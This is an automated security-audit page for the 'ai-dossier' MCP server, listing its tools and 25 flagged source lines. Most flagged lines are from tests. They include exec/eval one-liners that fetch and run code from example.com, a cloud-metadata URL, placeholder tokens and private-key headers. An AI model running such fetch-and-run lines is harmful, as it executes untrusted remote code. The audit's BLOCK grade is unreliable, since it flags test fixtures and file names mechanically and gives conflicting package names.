Atlas / MCP servers / imboard-ai / ai-dossier

ai-dossierBLOCK

mcp/imboard-ai/ai-dossier

An open standard for signed, versioned agent skills. Model-driven orchestration with a deterministic shell — host anywhere, verify who wrote it. CLI, registry, MCP, VS Code.

Verdict
BLOCK
Grade
F
Trust score
46 /100
Exposed tools
35 29r · 6w · 0d
Transport
stdio
License
AGPL-3.0
Stars
9
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

An open standard for signed, versioned agent skills, built for model-driven orchestration: the model reads the skill and decides the steps, and Dossier makes that safe to share and repeat with signed agent skills. Host skills anywhere — a GitHub repo, your own server, or the Dossier registry — and everyone installs the same version and can verify who wrote it and that it wasn't changed. Website

[](https://github.com/imboard-ai/ai-dossier/actions/workflows/ci.yml) [](https://github.com/imboard-ai/ai-dossier/actions/workflows/test-examples.yml) [](https://www.npmjs.com/package/@ai-dossier/cli) [](https://www.npmjs.com/package/@ai-dossier/cli) [](LICENSE) [](docs/reference/README.md) [](mcp-server) [](docs/explanation/security-model.md) [](https://github.com/imboard-ai/ai-dossier)

Quick Concept A dossier is an agent skill with a version and a signature (a .ds.md file). Copying skill files between machines and teammates works, until nobody knows which version is running or who changed it. Dossier gives every skill a pinned version and an Ed25519 signature, so everyone installs the same thing and can verify who wrote it and that it wasn't changed. Like an npm package, a dossier works
Read from source at commit 4c2f9fdb5e1fOBSERVED · 2026-10-10
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.

claude-code (npm)
claude mcp add mcp-server -- npx -y @ai-dossier/[email protected]
03

Exposed tools (35)

29 read · 6 write · 0 destructive.

ToolRiskDescription
cancel_journeyreadCancel an active journey session. Returns a summary of what completed before cancellation.
categoryreadCategory (e.g., devops, authoring)
create-dossierwriteAuthor a new dossier with proper structure
deploywriteDeploys the service.
deploy-appwriteDeploy to production
dossier_pathreadPath or URL to the dossier file
execute-dossierwriteRun a dossier with verification and protocol. Automatically chooses single-dossier or multi-dossier journey flow based on relationships.
execute-journeywriteGuide the LLM through a multi-step dossier journey: resolve, verify, present plan, execute steps in order, collect outputs.
fail-dossierreadwill fail content fetch
get_journey_statusreadGet the current state of a journey session: completed steps, current step, remaining steps, and collected outputs.
good-namereadDoes a thing.
graph_idreadID of a previously resolved graph (from resolve_graph)
kindsreadevery kind
list_dossiersreadDiscover available dossiers in a directory. Scans for *.ds.md files and returns metadata.
my-dossierreadDo it
my-skillreadd
nreadd
other-dossierreadAnother
pr-reviewreadReview the current PR diff.
propose_actionreadPropose one bounded action to the controller; never grants authority.
read_dossierreadRead and parse a dossier file. Returns metadata and content. Should be called AFTER verify_dossier passes.
report_decisionreadReturn decision data only; this function cannot take any action.
resolve_graphreadResolve a dossier dependency graph into an execution plan. Reads relationships (preceded_by, followed_by, conflicts_with) and produces a DAG with ordered phases, parallel groups, and conflict detection.
risk_levelreadRisk level: low, medium, high, critical
search_dossiersreadSearch the dossier registry for available dossiers by keyword. Returns matching dossiers with metadata.
setup-dbreadInitialize database
spec-dossierreadExercises the spec shape in the editor.
start_journeywriteStart a journey session from a resolved and verified graph. Creates a session, returns the first step
step_completereadMark the current journey step as complete or failed. Advances to the next step and returns its dossier content with injected context from previous outputs. Returns a summary when the last step completes or a step fails.
testreadtest dossier
test-dossierreadA test
titlereadTitle for the new dossier
verify_dossierreadSecurity verification - Verify integrity (checksum) and authenticity (signature) of a dossier. Returns pass/fail with stage details.
verify_graphreadBatch security verification for a dossier dependency graph. Verifies all dossiers in a resolved graph and returns an aggregate security report with per-dossier breakdown and overall recommendation.
xreadd
04

Trust audit

BLOCKgrade F · trust 46/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.

LayerWhat it checksResult
L0Provenance & inventoryFAIL
L1Static analysis of the codeFAIL
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfacePASS
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
none-observed
Network
declared (9 observation(s))
Shell
declared (3 observation(s))
Dependencies
not all pinned
Secrets in source
found

Findings (25)

CRITICALHard-coded secrets · secret.private_key · CWE-798, CWE-321
test-keys/test-private-key.pem:1
-----BEGIN PRIVATE KEY-----
HIGHInventory / provenance · inv.suspicious_name · CWE-1104
packages/core/src/signing-payload.ts
signing-payload.ts
Why it matters. member named after an attack tool
Fix. remove or justify
HIGHNetwork egress · net.metadata_ip · CWE-200, CWE-319
packages/zero-trust/scripts/zt-proxy.mjs:363
{ id: 'metadata-address', url: 'http://169.254.169.254/latest/meta-data/', expect: 'deny' },
Why it matters. cloud metadata endpoint: the classic SSRF credential grab
MEDIUMHard-coded secrets · secret.generic · CWE-798, CWE-321
packages/zero-trust/src/controller/checkpoints.test.ts:444
const secret = 'ghp_012345678901234567890123456789012345';
MEDIUMHard-coded secrets · secret.github · CWE-798, CWE-321
packages/zero-trust/src/__tests__/handoff.test.ts:252
handoffMarker({ ...prIntent, target: 'up/proj ghp_abcdefghijklmnopqrstuvwxyz0123456789' })
MEDIUMHard-coded secrets · secret.github · CWE-798, CWE-321
packages/zero-trust/src/__tests__/vm-local-qemu.test.ts:2057
expect(() => a.releaseKillSwitch('ghp_abcdefghijklmnopqrstuvwxyz0123456789')).toThrow(
MEDIUMHard-coded secrets · secret.github · CWE-798, CWE-321
packages/zero-trust/src/__tests__/vm-teardown.test.ts:270
throw new VmCleanupError([], ['/tmp/ghp_abcdefghijklmnopqrstuvwxyz0123456789']);
MEDIUMHard-coded secrets · secret.github · CWE-798, CWE-321
packages/zero-trust/src/controller/checkpoints.test.ts:444
const secret = 'ghp_012345678901234567890123456789012345';
MEDIUMHard-coded secrets · secret.github · CWE-798, CWE-321
packages/zero-trust/src/ecosystem/detect.test.ts:484
pip('pkg @ https://user:ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@host/pkg.whl\n'),
MEDIUMHard-coded secrets · secret.private_key · CWE-798, CWE-321
cli/src/__tests__/commands/keys.test.ts:17
.mockReturnValue('-----BEGIN PRIVATE KEY-----\nmock\n-----END PRIVATE KEY-----\n'),
MEDIUMHard-coded secrets · secret.private_key · CWE-798, CWE-321
packages/zero-trust/src/github/__tests__/app-auth.test.ts:65
privateKey: '-----BEGIN PRIVATE KEY-----\nnot a key\n-----END PRIVATE KEY-----',
MEDIUMHard-coded secrets · secret.private_key · CWE-798, CWE-321
packages/zero-trust/src/github/__tests__/broker.test.ts:1009
privateKey: '-----BEGIN PRIVATE KEY-----\nnot a key\n-----END PRIVATE KEY-----',
LOWInventory / provenance · inv.hidden_file · CWE-1104
packages/vscode/.vscodeignore
.vscodeignore
Why it matters. hidden member outside the usual dotfiles
Fix. review its purpose
LOWInventory / provenance · inv.suspicious_name · CWE-1104
packages/core/src/__tests__/signing-payload.test.ts
signing-payload.test.ts
Why it matters. member named after an attack tool
Fix. remove or justify
LOWCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
packages/core/src/__tests__/dry-run-hardening.test.ts:186
['py', 'exec(requests.get("https://example.com/x").text)', 'exec'],
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
LOWCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
packages/core/src/__tests__/dry-run-hardening.test.ts:211
['js', "eval(await (await fetch('https://example.com/x.js')).text());", 'eval'],
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
LOWCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
packages/sched/src/__tests__/batch-integration.test.ts:4197
file === 'git' && args[0] === 'fetch' ? null : exec(file, args, cwd);
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
LOWCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
packages/sched/src/__tests__/bisect.test.ts:221
const out = exec(file, args, cwd);
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
LOWCode injection · code.eval_exec · CWE-78, CWE-94, CWE-95
packages/sched/src/__tests__/bisect.test.ts:303
return exec(file, args, cwd);
Why it matters. evaluates text as code
Fix. remove; use a parser or a dispatch table
LOWInsecure crypto · crypto.weak_hash · CWE-327, CWE-338
cli/src/usage/store.ts:44
createHash('sha1')
LOWInsecure crypto · crypto.weak_hash · CWE-327, CWE-338
packages/zero-trust/src/controller/__tests__/e2e-fakes.test.ts:232
const originalPolicySha = createHash('sha1')
LOWInsecure crypto · crypto.weak_hash · CWE-327, CWE-338
packages/zero-trust/src/controller/__tests__/e2e-fakes.test.ts:330
: createHash('sha1')
LOWInsecure crypto · crypto.weak_hash · CWE-327, CWE-338
packages/zero-trust/src/controller/steps.ts:127
const digest = createHash('sha1')
LOWInsecure crypto · crypto.weak_hash · CWE-327, CWE-338
packages/zero-trust/src/policy/__tests__/classify.test.ts:13
const sha = createHash('sha1').update(`blob ${bytes.length}\0`).update(bytes).digest('hex');
LOWFilesystem / path · fs.credential_store · CWE-22, CWE-59
packages/sched/src/__tests__/preserve.test.ts:199
'id_rsa',
Why it matters. touches a credential store

Gates applied: critical_finding, no_behavioural_pass.

Audited 2026-10-10 · audit v0.4.1 · source sha 4c2f9fdb5e1ffull audit observations/trust-audit/mcp-server/imboard-ai__ai-dossier.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-104c2f9fdb5e1fBLOCKF46first audit
06

Questions

What is the ai-dossier MCP server?

An open standard for signed, versioned agent skills. Model-driven orchestration with a deterministic shell — host anywhere, verify who wrote it. CLI, registry, MCP, VS Code.

What tools does ai-dossier expose?

35 in total: 29 read-only, 6 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.

Is ai-dossier safe to connect to an agent?

No — not without reading the findings first. The audit graded it F (46/100) and found 3 critical or high issues in the source. Each one is listed on this page with the file and line it is on.

What credentials does ai-dossier need?

It reads BINDING_APP_KEY, BINDING_APP_SECRET, DOSSIER_REGISTRY_TOKEN, DOSSIER_TRACE_TOKEN, GITHUB_BOT_TOKEN, GITHUB_CLIENT_SECRET, GITHUB_TOKEN, JWT_SECRET, NPM_TOKEN and SECRET from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.

How does ai-dossier run?

It speaks stdio, so it runs as a local process your client starts. It is published on npm as @ai-dossier/website at 0.0.0.

How current is this page?

The grade is for one exact copy of the source (4c2f9fdb5e1f), read on 2026-10-10. The repository is watched and re-audited when it changes.

Advertisement